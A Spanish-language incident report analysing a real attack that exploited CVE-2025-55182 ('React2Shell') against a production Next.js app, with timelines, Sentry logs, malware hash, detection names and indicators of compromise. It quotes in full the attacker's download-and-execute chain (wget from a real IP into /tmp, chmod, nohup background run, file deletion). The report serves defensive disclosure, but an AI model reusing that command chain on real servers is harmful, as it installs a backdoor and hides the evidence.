
Análisis de ataques del mundo real de CVE-2025-55182 (React2Shell) - Vulnerabilidad RCE en React Server Components
Análisis de un ataque real en una aplicación Next.js de producción
El 5 de diciembre de 2025, nuestra aplicación Next.js de producción fue el objetivo de atacantes que explotaban CVE-2025-55182 (React2Shell), una vulnerabilidad crítica de ejecución remota de código en React Server Components. El ataque intentó descargar y ejecutar un troyano backdoor de Linux en nuestro servidor.
| Atributo | Valor |
|---|---|
| ID de CVE | CVE-2025-55182 |
| Puntuación CVSS | 9.8 (Crítico) |
| Fecha del ataque | 5 de diciembre de 2025 |
| Resultado del ataque | ✅ Bloqueado (post-parche) |
| Tipo de malware | Troyano backdoor de Linux |
| Stack afectado | Next.js + React Server Components |
CVE-2025-55182, también conocido como "React2Shell", es una vulnerabilidad crítica de ejecución remota de código (RCE) que afecta a React Server Components (RSC) en:
La vulnerabilidad existe en la función renderToReadableStream() dentro del Flight Server de React. Al procesar payloads de RSC especialmente diseñados, el servidor no sanea correctamente ciertas entradas, lo que provoca ejecución arbitraria de código.
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
El atacante envía una solicitud POST manipulada con un payload serializado malicioso que se deserializa y se ejecuta en el servidor.
| Marca de tiempo (UTC) | Evento |
|---|---|
| 5 dic, 06:20 | Primer ataque detectado vía Sentry |
| 5 dic, 06:20 | El payload intenta ejecutar comandos de shell |
| 5 dic, 06:20 | Ataque parcialmente exitoso (pre-parche) |
Registro de error de Sentry (Pre-parche):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| Marca de tiempo | Acción |
|---|---|
| 4 dic, 14:13 | Actualizado a Next.js 16.0.7 |
| 4 dic, 14:13 | Versión parcheada desplegada (v1.0.0-beta-4) |
| Marca de tiempo (UTC) | Evento |
|---|---|
| 5 dic, 08:48 | Intento de ataque detectado |
| 5 dic, 08:48 | Ejecución del payload BLOQUEADA |
| 5 dic, 08:48 | Error: syntax error: unexpected ";" |
Registro de error de Sentry (Post-parche):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
El parche evitó con éxito que el comando malicioso se ejecutara.
| Atributo | Valor |
|---|---|
| URL objetivo | https://[REDACTED]/ |
| Método | POST |
| User-Agent | Python Requests 2.31 |
| Origen | Script de ataque automatizado |
El atacante intentó ejecutar la siguiente cadena de comandos:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Desglose:
| Paso | Comando | Propósito |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | Descargar malware |
| 2 | chmod +x /tmp/vim | Hacerlo ejecutable |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | Ejecutarlo en segundo plano, persistir tras cerrar sesión |
| 4 | rm -f /tmp/vim | Eliminar evidencias |
| Componente | Versión |
|---|---|
| SO | Alpine Linux 3.23.0 |
| Runtime | Node.js v20.19.6 |
| Framework | Next.js 16.0.7 (parcheado) |
| Contenedor | Docker |
| Atributo | Valor |
|---|---|
| Nombre de archivo | vim (disfrazado como herramienta legítima) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| Tipo de archivo | ELF 64-bit LSB executable, x86-64 |
| Lenguaje | Go (binario compilado) |
| Tamaño del archivo | ~4.7 MB |
Tasa de detección: 13/72 (18%)
| Proveedor | Nombre de detección |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
Enlace de VirusTotal: Ver análisis
Cabecera ELF:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Capacidades identificadas:
| Capacidad | Evidencia |
|---|---|
| Cliente HTTP/HTTPS | net/http, *http.Client |
| Cifrado TLS | crypto/tls, crypto/aes |
| Proxy SOCKS5 | socks, socks5 |
| Resolución DNS | net/dns/dnsmessage |
| Criptografía fuerte | chacha20poly1305, Ed25519 |
Cadenas extraídas (relevantes):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| Severidad | Regla | Fuente |
|---|---|---|
| LOW | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| LOW | ET DNS Query for .cc TLD | Proofpoint ET Open |
Tipo: Troyano backdoor de Linux
Capacidades:
| Tipo | Valor | Descripción |
|---|---|---|
| Dirección IP | 45.76.155.14 | Servidor de distribución de malware |
| URL | http://45.76.155.14/vim | URL de descarga del malware |
| Alojamiento | Vultr VPS | Proveedor de nube |
| TLD | .cc | El dominio C2 utiliza el TLD .cc |
| Tipo | Valor |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [Calcular si es necesario] |
| MD5 | [Calcular si es necesario] |
| Nombre de archivo | vim (disfrazado) |
| Tipo de archivo | ELF 64-bit x86-64 |
| Tamaño del archivo | ~4.7 MB |
| Indicador | Descripción |
|---|---|
wget hacia IP externa | Descargas desde URLs no estándar |
Archivos en /tmp/ | Ejecutable sospechoso en el directorio temporal |
nohup + ejecución en segundo plano | Intento de persistencia |
| Eliminación inmediata de archivos | Limpieza de evidencias |
| User-Agent de Python Requests | Herramienta de ataque automatizada |